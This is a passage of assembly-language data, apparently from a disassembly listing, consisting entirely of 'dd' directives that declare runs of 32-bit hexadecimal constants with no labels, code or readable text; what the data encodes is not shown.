5097EDDCh dd 0B480A711h, 0D0E2264Dh, 0CCA0DA98h, 9426928h, 0CBA94F35h dd 0C041C8FCh, 4AA17B54h, 0C90F8777h, 37B60C55h, 41C868CBh dd 0DFF929C0h, 88731C44h, 6781001Ch, 7E1603D6h, 9907B712h dd 0E0F8780Bh, 62476A1Ch, 539CD051h, 0DAA6C048h, 62EAFA27h dd 6857428Ch, 28659BB8h, 5E01AA4h, 0B4D820B7h, 90EC0356h dd 5811E306h, 4A3BAB4Ch, 32FE0D0Bh, 0B0D9C01Bh, 0CD12B84h dd 603BAFC5h, 14B069F0h, 50E54C44h, 2E508494h, 8218F056h dd 0CCD488B3h, 0E890D476h, 6B4997C2h, 9EE4680Ch, 8993BFDCh dd 2AD8B210h, 0FA24984Eh, 1B84DCCEh, 0DC36349h, 3F268930h dd 0C9E8ACC1h, 143101D4h, 0A480EE18h, 84232AD2h, 3302A4A5h dd 0BC5091EDh, 6F54A480h, 54CCE495h, 1339F46Eh, 2860057Dh dd 10A04C74h, 99C01D3Ah, 2B5819E0h, 0C06905ABh, 80A4650h dd 17641664h, 0E1B8A152h, 6F6829E5h, 2DCC821h, 0CE055D1h dd 2AB84074h, 9E7464CDh, 0AF4B0B4h, 6DCAD209h, 24165890h dd 4DE12184h, 801EA939h, 6B043F91h, 0C8E27D27h, 68B6A414h dd 1920B504h, 0D112F8BCh, 0FA8C22FEh, 0E37C8132h, 2C2E20D0h dd 0C0062B4h, 2A1280AEh, 98CF04Eh, 30EE9FE1h, 4C0B0010h dd 7499C605h, 0D100146Dh, 3C3693A9h, 78BE9FEEh, 0CE0BA142h dd 44A49865h, 14A2B3h, 8416BDCFh, 1869E62Eh, 58147E6Ah dd 7188D238h, 0B86F243h dd 1C90B067h, 30AD18E8h, 27C84E80h, 0A0E6EC6Fh, 0EF5E60B6h dd 0F708FE18h, 80390518h, 0EF21B8DBh, 0CE00C32Ah, 14B79E63h dd 583B7384h, 2F5F782Eh, 0A4234Ch, 726A835h, 740B2E29h dd 0E324C7E7h, 8AE48978h, 78F7CC72h, 1132B8C0h, 8BDF1255h dd 3782CAEh, 93B0E140h, 0DEF57010h, 70DA400h, 893BC1FCh dd 2CF4430h, 0E25830BEh, 3CC101ECh, 29266F2Fh, 0BC647084h dd 2CE93C9Ah, 0CBB5CEE4h, 69E89620h, 8C51213Ah, 0F346ED00h dd 0C2DC791h, 736B7954h, 714CD058h, 0BB57C42Ch, 0D37C91Fh dd 197E6C50h, 12C0C04Dh, 0E82F510Ah, 1500A823h, 825CEA0Dh dd 58CF5C27h, 6C7F6BC1h, 2468962Bh, 2A3C8400h, 99D36977h dd 40A21344h, 6BBA7C38h, 0C2F9436h, 3A2800FDh, 2516EB0Bh dd 584BE305h, 39BF2800h, 55FCDCCFh, 0F93239E2h, 0D109D4D2h dd 0F0D10391h, 318A579h, 21616E09h, 460C78D5h, 0AE7C0201h dd 0D178D0DEh, 135D60F8h, 430158AEh, 9538B486h, 60775442h dd 128B50Bh, 5856646Ah, 0D5465Eh, 3F59D69Ah, 1D7D5C7Fh dd 55BDD1ABh, 0AE02E0B7h, 30B692EDh, 0A39EA07Ch, 74CCA205h dd 0B0BC3EC3h, 53BEEBh, 6E26B2FAh, 0D69D0F89h, 0F01A8125h dd 0F8BF0B1Ch, 88457377h, 186ADAE2h, 870B359Dh, 872D0D47h dd 884C59E4h, 16DB05B0h, 2D446920h, 0EA4DF08Ch, 0E8608495h dd 0CB710B40h, 0E5032A9Fh, 95732EA8h, 0B40C9802h, 2C804988h dd 0D32BB86Fh, 0E25E8410h, 0C4DCF000h, 0C7BC0BF5h, 12145ED9h dd 0FA60E4CCh, 0F621D812h, 0B8146E0h, 91E53006h, 0B3CCF820h dd 898022B9h, 0FA6713F3h, 0E07CF69Fh, 242E6B2h, 0E007D02Ch dd 7CD45EB5h, 0D278E40h, 3E69FA70h, 0ED00ABD0h, 0DD3A195Ch dd 0F91EA988h, 620051FFh, 5071D78Dh, 83EE0A4Bh, 350B7CBh dd 36050931h, 0DFA3D900h, 0D3C79B35h, 548900E0h, 0A8183F2h dd 0E818D0DCh, 0ACF4DE4Eh, 0ECD452AEh, 0CBB68700h, 4BB04D78h dd 3108580Fh, 0C0F1E9B3h, 997BDCA4h, 18A3D1E8h, 0C35205E7h dd 0C1132474h, 16B428h, 9443EEB5h, 63FA015Ch, 0ED9BBAD5h dd 7A286878h, 6A263100h, 617E1A37h, 0C3842955h, 2A3B0050h dd 702C1116h, 6C32DB45h, 5130AAE2h, 4AD7003Ch, 681C3B29h dd 434A0CC0h, 0C2083414h, 4CE96B8Bh, 7A060584h, 0E207697Eh dd 0FE20C00Ch, 7B0AF7Ah, 26094908h, 0C2F1800Eh, 0CD01BDA5h dd 70EC41C6h, 58743C55h, 93320E05h, 281D0D8h, 6490C06Ah dd 19115408h, 0E01D360Ah, 8E6A401Bh, 6E56BD2Fh, 861594F0h dd 6F065B6h, 1385E50Bh, 984DEFB8h, 0B4FC083Eh, 0C0FF3B43h dd 90905B03h, 0B09B0270h, 483339DFh, 0F1E44C2Fh, 4EEF00B5h dd 6F064595h, 0C82549D7h, 0E458054Ch, 994C23AAh, 51BBB0A7h dd 1F000A25h, 0C93F0FA9h, 133EA586h, 20D49h, 2C058FECh dd 8107677Eh, 2F6C9D30h, 6AF51CB0h, 0B4E13E6Bh, 0C81BAB94h dd 0C456417Bh, 0F84798D5h, 0C2944DB0h, 0A3758401h, 6EEFB270h dd 5A558830h, 323C8864h, 17349D50h, 65206098h, 0DE81173Dh dd 0C88C8B6Bh, 0C940CFA1h, 62C5E033h, 0D106BE7Fh, 0D5FEDB82h dd 6E6B2280h, 50300A0h, 69117060h, 64DC231Eh, 40E6F0FBh dd 0B13BFEEh, 0EB82004Ah, 0E11BCB89h, 98B01A8Bh, 0C118E204h dd 9CFC918Ah, 0A68F8638h, 0AD13B01Bh, 60B448BCh, 903635A1h dd 0D1A70C94h, 5221B3DCh, 0ED3AF44h, 8B0430C0h, 0EA973D80h dd 0DA3CB12Dh, 0A8F3FBE2h, 110E43A9h, 0A04BB630h, 0F8A06AAFh dd 41AC0026h, 829A5D02h, 0D01252E9h, 0E41F7F13h, 7099E622h dd 530B12F2h, 857CC863h, 633C094Ch, 18374E36h, 99B65319h dd 0F50102C2h, 0B3C7D916h, 0D82D3A06h, 4DCFEC4h, 1440CBFBh dd 3B6C62C8h, 0F427E000h, 980728EAh, 52290547h, 0A8A89D97h dd 0E8084EECh, 54A4A5h, 0B81081D9h, 203A9830h, 677C8357h dd 12175184h, 256F50EEh, 0BC04ACD8h, 0DD128CD7h, 0BA514h dd 0E53584DCh, 56B01092h, 0AC0FD63Ch, 0C9B47EC0h, 0B0DC60A9h dd 5E30B6E1h, 0F2024146h, 12F3EE17h, 0D8F58840h, 618050C1h dd 0DC203C85h, 8BE002Ch, 0A9E28705h, 34A5D5FAh, 75604664h dd 0F97FA2CCh, 3A01CE79h, 0D063B69Ch, 1C64349Dh, 0B15498D4h dd 184D79CCh, 379E02BDh, 0EF273BE9h, 0E518F0E1h, 0B70388Ch dd 78AD2869h, 20A8B0B0h, 0A24ABE3Ch, 540038D5h, 51AC479Ah dd 213A4E9Dh, 72695594h, 34FC0F2Ch, 0F4B017EDh, 80EE091Bh dd 70C4EAB8h, 0AD202197h, 28D09AE5h, 24549C45h, 18242004h dd 0C11A3539h, 98B78182h, 1ABA7C94h, 80DE47D7h, 5E58107Dh dd 32BC0077h, 9EAA8D96h, 0E2E29C45h, 615D2B01h, 0B0698C01h dd 584CD06Ah, 0D55A99D0h, 4623A82Eh, 0AC32A206h, 48900948h dd 8F99A8Fh, 0EE439700h, 93D80E8h, 360238BCh, 5181C100h dd 0C3138BADh, 54B27BD9h, 0F8213E27h, 1395DE5h, 222AE00Ah dd 0EA338CE8h, 476C41D6h, 43222426h, 0D6E5F00Eh, 0A34F6067h dd 1A321FCBh, 5947D9EDh, 1000605Ah, 0FC8C43Fh, 566EDFh dd 28C25EA4h, 5CDE3CA9h, 8B10C1B5h, 3EB85478h, 0C13B6B43h dd 2C5E9A00h, 3278DE46h, 0ECD1362Ch, 0F080BB00h, 0B171E9E7h dd 81BE1FC4h, 0C5320996h, 0FC003A41h, 55BB6360h, 0B2AA2D61h dd 4391109Dh, 8D3DA880h, 9036AB6h, 1CC9E7BCh, 3C614CD4h dd 25B8661Fh, 45649C67h, 9977B960h, 4842AB00h, 0C86805D5h dd 84744C9Ch, 70238614h, 1444BD18h, 282DB3E6h, 0A4C40A75h dd 0A340DD44h, 68099C92h, 0C3EE3709h, 0D3100618h, 0A0850149h dd 62B173B7h, 16209017h, 3A245010h, 5B71E0D3h, 278302Ah dd 0BD45F48h, 0E87CB4DBh, 0D5239D87h, 7F44DF30h, 0D38899DCh dd 0D2C860BCh, 91A34BAEh, 7006B400h, 4CB98A98h, 866AD478h dd 0BFEC7400h, 0C455CEF0h, 58A295B0h, 0EA034105h, 5D3105E1h dd 35D47486h, 230C2E60h, 9A04033Fh, 78D150BFh, 69709EA4h dd 0AD7CDEC0h, 174DB1C8h, 8E5853A8h, 0C0A6C87Ch, 30B60FEEh dd 0C7B25F04h, 0C0B011B1h, 63B940EDh, 339C7613h, 916A0CE4h dd 6AD6F0B8h, 5E112786h, 741E20F9h, 0EBB293C0h, 3A2EE5A3h dd 0DA0177FAh, 0B48324B1h, 73343930h, 0A1CC10F9h, 603CFA64h dd 0C04A1034h, 0A0B6548Ch, 64E32C0Eh, 30942A37h, 4688C8CEh dd 0F3D1EBC1h, 0AD6C886Fh, 0C031D04Bh, 88244E64h, 659B88C2h dd 6009345Eh, 0DB8810EDh, 44FC9A22h, 0CD05CB1Ch, 0F5E17CB0h dd 0E02C84C1h, 0D6048070h, 0C87C8B61h, 8C12C040h, 0A1048D49h dd 7B167008h, 4ABC34F8h, 7368048Ch, 986387CFh, 6509B55Ch dd 0B7D60422h, 88A7003Ch, 0ACF9ABBBh, 51D123Bh, 79F3A8F8h dd 26834BC1h, 38929C20h, 90A4BEB7h, 56D409C4h, 0BD9BA420h dd 0ACA00EE8h, 0A09D3C39h, 7B678244h, 818026E5h, 0F0EF4130h dd 0CD310023h, 4309461h, 0FFC7A84Eh, 0D5E5B044h, 580A94E0h dd 3EFC5C3Dh, 11B058Ch, 981C3h, 2749210Ch, 0DF00865Fh dd 7E2AD7B3h, 1C354ABBh, 12EFA33Eh, 894CA8A7h, 8A1490D1h dd 0AAA40337h, 0E3E7D341h, 563B181Ch, 28F40A2Dh, 0E6E01D19h dd 7DD13313h, 40CF0816h, 60EB5890h, 235A97F0h, 0CF80DC9Eh dd 26C9D3EDh, 2DB2D700h, 5FB682D1h, 29AD6053h, 7C297478h dd 1D8FC93Eh, 8C40206Fh, 0C898DC8h, 8B7202ECh, 7F3D64CCh dd 0BB1A00C9h, 0B2420C0h, 425DC531h, 9888B454h, 99E58623h dd 7D00183Eh, 0DB113CD1h, 0B130DC68h, 0C0893B0Ch, 0F8114A74h dd 0DC6F01EBh, 9CB5E000h dd 8C238F28h, 2C8ED720h, 407051D6h, 0E46CC592h, 0BD0F97E8h dd 3B6CAEFh, 0AC765C81h, 904CDCB2h, 681B1418h, 0C8A14EE5h dd 27A300B5h, 47C71D5Eh, 0EEFE4E3Eh, 0F8072349h, 10DD44FAh dd 0A8060038h, 0BFD9E713h, 4860731Ah, 7115C575h, 0E600DA55h dd 865A747Bh, 8F09CAECh, 0AB6A5456h, 79B4711Ch, 0AB018A5h dd 0A243F73h, 0A3465C20h, 0C2A17300h, 0D10C725Ah, 98B9D2Fh dd 0FD748210h, 4DCF012Ch, 10003FE0h, 0DC0B32D0h, 0CC50E5A0h dd 1D4E078Ch, 7CF226B0h, 0C28EE26h, 0B748E814h, 6C402EE6h dd 45E4EAh, 7A478839h, 738D1B0Bh, 7590F600h, 0BDED3063h dd 107492DAh, 3B2ADB8h, 0CFF01311h, 0E4B5AA0Ah, 7E350918h dd 0E44C26A7h, 0E4C2714Eh, 68D8E83Dh, 805B4BA0h, 539D2F14h dd 50C1954Ah, 26E0307Bh, 11D4692Dh, 6E7D7C82h, 6860207Ch dd 0DC720C90h, 61ED4640h, 982A596Dh, 0E4FC802Ch, 9437A22Eh dd 0FAC1AA01h, 75C886EBh, 0A85F097Ch, 90515394h, 0A09E0312h dd 0BA7FEDC0h, 950CDCC5h, 0A9D9A2AEh, 0F420970Ah, 0F512D550h dd 0FE31A600h, 18A6E77h, 4C99003Bh, 9B3F8EE7h, 0B30AD1E0h dd 9CEB3130h, 78BD7102h, 3EB85A11h, 4044E8D9h, 0DC349295h dd 185CC218h, 0F603E50Fh, 0E1E4C404h, 6C6023AAh, 52D3212Fh dd 79F8B8h, 4A074D50h, 2A191C86h, 190C83Eh, 0E53936CAh dd 222A316Dh, 0FC1AF400h, 0EB00D404h, 33D5A97Ch, 5A1E9D97h dd 9604E4EDh, 6C5F20h, 0CE61EC87h, 0CB38B88Fh, 0F856CA30h dd 0BAAE1455h, 38810F8h, 169B3E0Eh, 88A5B14Ch, 30DABC31h dd 0E412AE1Ah, 0E8E228D0h, 0AE1163C0h, 0D00FAB1Bh, 0BAF67E2h dd 0BC18D938h, 0DC3B0B07h, 2432832Fh, 4833916h, 7D5E3C90h dd 3ADB1595h, 45EB039h, 870EE6D0h, 6229CC74h, 54253800h dd 85EF122Ah, 319051Dh, 0EC979B4Fh, 52DC8430h, 0B1F4C8h dd 0A75311C3h, 0A6DAEE71h, 54857200h, 0EDB00E1Eh, 64CB9E1h dd 69320482h, 87AC433Dh, 0E065D2F9h, 7AD737C0h, 61B6097Bh dd 64C51478h, 0EE6042E4h, 0CD04F8ADh, 5C886AFFh, 8B4A58BCh dd 0C041C804h, 8740D855h, 0D4D3280Bh, 65605E4Ch, 94B90Ah dd 18E06899h, 3EBF6159h, 1302A504h, 0B24E7E5Dh, 0F6208CE1h dd 0E0000C7Ch, 568E5EE8h, 3C6A008Ah, 2BF36DDAh, 7B18DB5Ch dd 0F814FD3h, 1AA00CFh, 0EB2FF0A0h, 1604A63Ah, 0D865D124h dd 504BCBCh, 0E06DECBEh, 9CA11000h, 0A4C0F481h, 689048B2h dd 0D18242F2h, 6AD678B0h, 88410186h, 59DFBC0Bh, 4A68851Bh dd 3CA838A8h, 0B5CEDB09h, 0D20FC98h, 25D94B40h, 4879EACBh dd 1275D506h, 20AC9040h, 0F0BC73E8h, 0D2F5F340h, 980E604h dd 6152C836h, 583B4C93h, 92DCC011h, 0CCD05AC4h, 51C5587Ch dd 4CE99D33h, 744D8B25h, 5909A660h, 0C096258Fh, 5F4E18F8h dd 0BA8EDC46h, 40709891h, 0DC60EA2Eh, 0AE0B7D41h, 9FF113E5h dd 648A07D4h, 97204AE1h, 0E220A371h, 0B1243046h, 49362501h dd 51686796h, 25277C70h, 68913070h, 0A291859Bh, 5481EEAAh dd 7D012F7Fh, 4433C93Ah, 9C0AD98h, 634974DBh, 71106090h dd 0BBCC8F89h, 0DCE28D4Ah, 599CF00h, 0E2AF93E3h, 80F3FCF8h dd 0B015EAF9h, 0E046C52h, 443C8914h, 579A0D60h, 0E4133385h dd 8009BBFAh, 7A5C10E0h, 0F8C595B1h, 0A16041C4h, 820757F5h dd 3006B539h, 90CE9692h, 2638B6C0h, 86B82D69h, 7012A04Dh dd 90830B27h, 5F548C5Ch, 0C2A482BDh, 7D4C1075h, 593A9864h dd 820124C5h, 207B80B8h, 111DD654h, 99398041h, 31805F6h dd 3143E53Ah, 60A681C5h, 4CA86A16h, 42E114B1h, 95B01C74h dd 906184EDh, 0D140F9DFh, 0FAEC86B7h, 0EE250B8Eh, 0A80219C3h dd 1C242440h, 6BF8AF40h, 2BE53C10h, 6CF0E812h, 0A84D0980h dd 14E25DDBh, 1ED6E0FEh, 8FDE6E2Ah, 8B009CEDh, 0B5D0FC25h dd 25B04020h, 3C929353h, 0D458F6h, 8F9C096Ch, 12CED82Eh dd 0ED38B40Ch, 4855C0E0h, 0EB806465h, 7813207Ah, 0F4971A07h dd 2644AD6Eh, 0EEB804A0h, 7C7207A9h, 6C6482D1h, 245027FEh dd 0A378A2F8h, 0DC86D414h, 8C47F8CCh, 9306AD3Bh, 984174C8h dd 6EC9E533h, 7C270022h, 0E0841CE2h, 413F0DE6h, 9C80BDF0h dd 88C62F68h, 0A1659B26h, 8C44A422h, 5AE20958h, 0E8CDE6C5h dd 391351C0h, 7ACEF47Bh, 60B04BBDh, 1DC51160h, 602600B2h dd 0DD91682Ah, 4DDAEB00h, 73F7EEEFh, 53B0CB64h, 0EB098C44h dd 23C4C841h, 45D8C1A1h, 61F09EAh, 0B87E106Ch, 0DA465Eh dd 409E2EF4h, 97F28707h, 0A8916417h, 699367C0h, 0C89420A0h dd 300BBA38h, 0ECDC68B7h, 0E5F3047Ah, 0E496E393h, 6B40FCC8h dd 90B54ACCh, 0BA2E84B8h, 7E439D0Eh, 0C8B6F368h, 0F2FB16E0h dd 0C9F5C4Ch, 706FA22Eh, 409FB573h, 2980D411h, 0EC2A300Dh dd 0C83EDC5Ah, 3AD823h, 0CB799EA6h, 1E050C11h, 0A40855CFh dd 0A34EB944h, 30A5E25Ch, 0CA02A1FBh, 9920B6F9h, 242058D9h dd 8074B465h, 0A53D81D0h, 0B14B5B6Ah, 47E2DCB2h, 4C429930h dd 5D277414h, 5F81D440h, 0E4DCA827h, 0A36624C0h, 98C94068h dd 560EF468h, 34A68694h, 1A6F0090h, 65A9CB89h, 887AF77Eh dd 0C8B4F788h, 546465Eh, 6D68525Ch, 2D864E4h, 0C398087Bh dd 0C456099Bh, 94E23080h, 37620h, 0CBACD7A2h, 401BBBE6h dd 8C679A04h, 0AFC1683Ch, 0C878D178h, 0E8483D18h, 0F059B625h dd 0D8A101BCh, 47A65D4h, 1C4D10A5h, 0BDE103C7h, 0B43204DFh dd 0CA376703h, 9C83FC6h, 6B136A1Bh, 0CC0491D1h, 2B01D379h dd 2A333A15h, 4068ECCCh, 807AEDBCh, 84B20E4Eh, 4241910h dd 0D455CEC2h, 690E14ACh, 28B8B488h, 0C052DC27h, 14205EE0h dd 2225DB5h, 98663BD9h, 0C0E4A003h, 518A4CF0h, 8626015Ch dd 43592546h, 0C2F042E7h, 0E00473A8h, 58C867E5h, 0E4031CE8h dd 15EC9D96h, 6C04E4B4h, 0DA1F6B42h, 8827BEF8h, 379FE85Ah dd 0D595053Ch, 0F1EF00D9h, 98EB63EEh, 0CE309F09h, 95BCD803h dd 20F130C2h, 0C1386DAFh, 0F0A09142h, 0C0486773h, 99A444DCh dd 6BE241h, 0DBF7DA9Ch, 54B250A0h, 8F995800h, 0B6233FC4h dd 2FF09CD8h, 46913497h, 0F110B280h, 0AD095C50h, 8261A8CFh dd 44319D00h, 14E6955Ch, 415998B9h, 4701A218h, 0C04A3AFBh dd 0E1883834h, 1B04E349h, 8C92284Eh, 80F0DC53h, 0D4121427h dd 8F00300Ch, 482658CAh, 3A04AFA3h, 5505431Dh, 0E6DE1610h dd 98C6E1C0h, 63EC8D21h, 40535FB1h, 42DB3770h, 0AFFE650Dh dd 522DC400h, 0FED6BAE9h, 61A113F3h, 9858047Eh, 89C83744h dd 0ACD661B5h, 0CFAEF760h, 80F682E6h, 345D808h, 5A441156h dd 14900C5Eh, 94AE35h, 3F2A12B7h, 1EA5E7CFh, 0FD835C00h dd 4EE0990Bh, 2695125Dh, 0B894E9DBh, 36BE39A0h, 0D8FA4825h dd 0B5BF440Fh, 39EC82D7h, 258CD06Bh, 0DC5C38C0h, 4BA2AD0Bh dd 305EF9A4h, 8E5FBC38h, 0C0D1C8B0h, 0AE7BDB72h, 5C49D04Bh dd 1CC7205h, 6711610Eh, 0FC25F66Bh, 0B4AAB8C0h, 9058025Dh dd 64B500A0h, 41C2DCEBh, 0E67CC040h, 0F8FC27ECh, 0BA003C3Dh dd 875EF403h, 3CD100B7h, 0B2EB2FF7h, 0EE25CBE2h, 0B4987A4Ch dd 8601D6D4h, 25DE3E42h, 982DFC26h, 91470A00h, 0DFEB31ECh dd 0CB923A1Ch, 0F19A6B87h, 54DDCDE2h, 541B02F0h, 0D8512446h dd 2718A6D9h, 94748E01h, 0ADCD32E5h, 0CC17B06Ch, 81A020B6h dd 433CE15Ah, 0C2FC48EFh, 0D46C8813h, 5639042Ch, 44B74B84h dd 0A7A300B8h, 0CE2EDC9h dd 73A32BBh, 14CB5A0Dh, 2BC0A1C8h, 0D632FF8h, 34D9278Fh dd 0C4486D84h, 4E207766h, 987A839h, 0D8028BDDh, 0A6203E3Ch dd 2630B5E6h, 9E0E3E1h, 1C59A969h, 22F4B115h, 0E5390B24h dd 2C7A35C1h, 5625B504h, 60E9B148h, 34753898h, 0C8A2394Bh dd 0B4DE0479h, 0F0539D99h, 472F6CCCh, 84681D56h, 0A8E1E53Ah dd 0DFE3031Ch, 0F5C5CF0Eh, 2CB5F4B0h, 93749938h, 5BC0BC9Bh dd 22A0802Ch, 0F51094D7h, 0E25E3D51h, 0AFAC1D7Ch, 7517081Eh dd 0F0D9A09Fh, 38207B94h, 29A86053h, 0ADC04F7Ch, 5C7950B2h dd 0CF55AD02h, 0E0177593h, 24814091h, 0E81759A5h, 689DB670h dd 16E9FA34h, 8B0A12D7h, 0C0DBC8BCh, 71B84AA4h, 0B672E200h dd 12BDDF55h, 8CE03E8h, 1689E6FDh, 301C40E0h, 19D2AB00h dd 633BF21Dh, 0C4DF0CDCh, 821A966h, 0A094F09h, 3203856Bh dd 95CB24C0h, 2D79E80Ch, 64A3B786h, 1FFBA55h, 0E0263AF9h dd 7E01C3E1h, 5AE372DFh, 0ACDC3624h, 7CB60099h, 0E40A1A85h dd 6F5BA310h, 4B88B4CEh, 0CE4A31C0h, 8841003Bh, 6DF9A586h dd 0B79539B3h, 0B8EE0048h, 79A8E037h, 28B4A8C3h, 0F840C55Dh dd 396254A1h, 6CC5B5E3h, 3E0D0374h, 183A310Bh, 0E15C0812h dd 97017806h, 0D2392008h, 641F8924h, 2841C70Ch, 10576355h dd 8310C16h, 2F9431C1h, 28481198h, 18C6CF9Fh, 2008F772h dd 0AE44E524h, 0D9C340D1h, 0FD382D63h, 321010C9h, 2178332Ah dd 31088646h, 6718138Ch, 35088C25h, 0C61818E6h, 187364C1h dd 32FCC920h, 0FF08DCADh, 0F8373050h, 0D9FC10EFh, 4729C629h dd 0F0634054h, 31B7B981h, 0CBC9A208h, 2040BB0Eh, 0C65D71BAh dd 204E2510h, 0BD806F71h, 51FB819Ch, 8874A08Ch, 0C01DB08h dd 0C63017E8h, 40396540h, 0FD627AEDh, 39DE108h, 201012E0h dd 0E531D453h, 9E559C89h, 91F34A08h, 4610103Bh, 0E9261866h dd 0C4BECA30h, 0CFB3008h, 4094A1AAh, 71C670E3h, 31180D41h dd 3B4847D3h, 98188CD7h, 401B08DAh, 6632CBBh, 10034928h dd 100F9108h, 0B12A151Dh, 0EBD63298h, 98AEC408h, 381BF988h dd 0F4164489h, 0ED08C62Eh, 953218EAh, 0A7928023h, 207CC8F8h dd 185263A7h, 8225383h, 60AB327Ch, 84A67A20h, 18201937h dd 1E8F206Ah, 50F00D32h, 1C4A203h, 93040457h, 0F1181F38h dd 7B1008C0h, 0B97480CDh, 4F6708C6h, 27D12058h, 20682F20h dd 3F319B9Fh, 516A08DDh, 0B810288Ch, 0B9CA6210h, 7F889CA2h dd 35780826h, 20C1F118h, 0FE868021h, 0D8EF38C6h, 67353108h dd 8C1C6518h, 18C85048h, 2711409Ah, 243FC0A9h, 7C928CB0h dd 8191AA62h, 1BA7033Ch, 0EE580818h, 0C62CF518h, 8716228h dd 26394C64h, 485B2092h, 0C65609A4h, 38CBB208h, 101A6031h dd 89939A6h, 93AD29D4h, 1C448169h, 0B804BACAh, 0BFD806D4h dd 82EC5B08h, 7C49AEB8h, 0EBC8532Fh, 0BD684919h, 26D6FA28h dd 5B3110C0h, 0E0892040h, 0E0A4D602h, 93FC9347h, 0C8B2712Ah dd 20625931h, 8922912h, 0F3304A1Ch, 30BA8C84h, 11C6E618h dd 20083AD7h, 573245C1h, 68E330C5h, 0C64BDC34h, 8198818h dd 0DEB1C860h, 0B953F8BFh, 98053984h, 0D33E69EBh, 0A3C07650h dd 10C03F41h, 756FF625h, 46D1056Dh, 840FF26Ah, 8E0B06Eh dd 56BB3100h, 4EF42B4Bh, 0C6E000AAh, 1A4F70CEh, 6E77FECFh dd 4CB839F5h, 52CB00B8h, 0AD0BFAB2h, 0EC9700F3h, 0D4EAE5E8h dd 541F5CD6h, 13C06F7Bh, 0B6FB1773h, 0A3612AFh, 5800EBFDh dd 1976D3A3h, 0E0334838h, 29FB17h, 953717FCh, 0BC00E9B5h dd 0F0A61032h, 267375h, 6BFED73Ch, 7EF41901h, 5A000FF0h dd 621C8814h, 938A576h, 98FAD10Ch, 0ECFA85h, 94DB54F9h dd 3B006ADCh, 222C1EDDh, 67161A3h, 0E447734Fh, 0DF309814h dd 84FB800Bh, 5289144Ah, 0DA28CA42h, 0AE6225B0h, 5090947Ah dd 6444E89Dh, 801A0C47h, 0DC108C09h, 0B3D4FD0Ah, 3B1EAC54h dd 603604C3h, 7C7ECA40h, 2350080h, 8C6BC50h, 36BE521Eh dd 0C7B3202h, 53FF41DAh, 40807EE9h, 0EE4F489Bh, 54741389h dd 0E4786A41h, 0B49A3B80h, 611C8072h, 6640868Eh, 6230ECE0h dd 68B8C02Ah, 0A099171Fh, 0D206E8B9h, 487091h, 2411833h dd 0FFCDF47Eh, 398F200h, 6B7DAEE7h, 1AD603ACh, 0DF23540Ch dd 7BEB3000h, 9FCA4E01h, 731C0F19h, 0E900E8CEh, 7AECFFD0h dd 937CA0BFh, 3B7575Fh, 0D34F389Bh, 0D000332Ch, 0D4ECFA23h dd 30C2169Dh, 3920CEE2h, 6B28E0D8h, 815AA476h, 53D0B081h dd 712C840h, 0C880FF38h, 0E96DA097h, 0EB00F0E6h, 89455475h dd 0C0CB53D4h, 3FF38C60h, 6300861Ah, 42D3C60h, 28B251h dd 0CEE053E2h, 0D0EE4ED8h, 0AC30FC2Eh, 0F5E43943h, 4041F85h dd 31C20ECh, 0DC421A7Dh, 9F18FBE0h, 0B454C883h, 4B618255h dd 0B070A368h, 62B15304h, 0A20BB00h, 50CA12F6h, 996090EBh dd 37D36F9Fh, 0D9B87F61h, 547E2810h, 40F31730h, 18A018DDh dd 0A0D73A03h, 1914369Fh, 92477ECh, 1057618Dh, 50334Ch dd 63B2A441h, 13340999h, 0C31C1A00h, 3D31582h, 48FCA97Ch dd 8C88A110h, 1CE64Ch, 0CE1FD4Dh, 333CFAh, 6B55D042h, 76255261h dd 1B443Eh, 1541AEDBh, 9656A3Dh, 0C27330DEh, 20AF9024h dd 9E2DB39h, 6837FFB1h, 8972081h, 54A18670h, 0E1713Ch dd 0ED62618Bh, 0D415BA89h, 884C1128h, 17697E1Ch, 205D149h dd 0C0A3A8h, 6FA9168Ah, 0FE927409h, 43844214h, 82EEA2DDh dd 0D6C20A8Ch, 0D407039Ch, 3800C6BBh, 0B854A185h, 0EF040963h dd 77FC3020h, 0F66C0C81h, 13588706h, 209C4D03h, 44317ED4h dd 30D3EC38h, 0E2104AD2h, 40903306h, 72EBA900h, 0B8569D0Fh dd 0F89F06A2h, 2885C8D4h, 8A5A324h, 12A80C67h, 0E03A12E9h dd 0AE0060FCh, 0A9FA3BCh, 153E278Fh, 0D080FBD3h, 81101849h dd 0CEE301ADh, 0D83B4F30h, 0E6141422h, 1310306Ch, 10429Ah dd 78BA90F0h, 7FCFEE34h, 25A09017h, 98F0C931h, 9B058703h dd 0D0EB1A30h, 0E555C95h, 0F1B386CEh, 0C5682044h, 0E12A826Ch dd 0C834F0AAh, 0D4FC03B8h, 0F0072751h, 1A37677Ch, 280BDD43h dd 9E06A30h, 78EC7D88h, 3EFB5810h, 0E220F262h, 0FC70405Dh dd 0C9E93054h, 0A98F4C0h, 0D4003E7Bh, 323C2D16h, 7E5857Ch dd 0E17B49B4h, 9AAE01Ch, 710EE241h, 0FFC2AE3h, 3B617880h dd 0C65418ECh, 9565090h, 40A48B4Dh, 0E60058A0h, 7DEC49FDh dd 0B8576684h, 0CC00BDAAh, 1817FEE2h, 2C970A12h, 0A7B32003h dd 0D5B4D036h, 0E8A65298h, 68CDEB14h, 0E2589D30h, 649840D0h dd 48A2A890h, 0B354B081h, 0BD888C92h, 40A61017h, 0F0A109E8h dd 3090201Ch, 22CC2750h, 4A62C540h, 3580A4ADh, 550748C2h dd 0D49CC02Bh, 30BA4917h, 6E01A021h, 1B327BE0h, 0C402BC54h dd 5D4FF31h, 2CD40487h, 19A001Ch, 27123304h, 4C40C10Ah dd 14B86661h, 0A2D1BA02h, 6CBDB410h, 78EB00CCh, 0FE694975h dd 0EC28F570h, 850B08D0h, 202E5409h, 0DF4248DCh, 4C64B0ACh dd 7B01F414h, 0FBB6997Dh, 0A148CFD3h, 0B87C0998h, 89141804h dd 0AFF700B9h, 70B3DFD9h, 0BD543530h, 0CD203118h, 540D179Bh dd 0BD20B0FBh, 640670Dh, 88ECA83Ah, 55097A8Eh, 9820E01Dh dd 48E8F46Ah, 1938CE4h, 0E3B649E4h, 0AF287008h, 1B1A4E07h dd 2F8355E2h, 621114B0h, 0B0401456h, 58F154C4h, 28E250E5h dd 90610856h, 70EF5A0h, 5F6D6FD8h, 0F98A7700h, 0D031BB36h dd 3B0A0878h dd 3E14082Fh, 58E02050h, 310F509Ah, 0C4A24138h, 0F581CB7Dh dd 9D169230h, 0C8EE4C80h, 0D3123828h, 0C073C294h, 0F854FC9Ch dd 0F377347Ch, 31C48111h, 122181ADh, 0CDE5D4FBh, 78F09C24h dd 0B20CE609h, 3A402D4h, 228530EAh, 0D2A3BCA0h, 0D4E2E257h dd 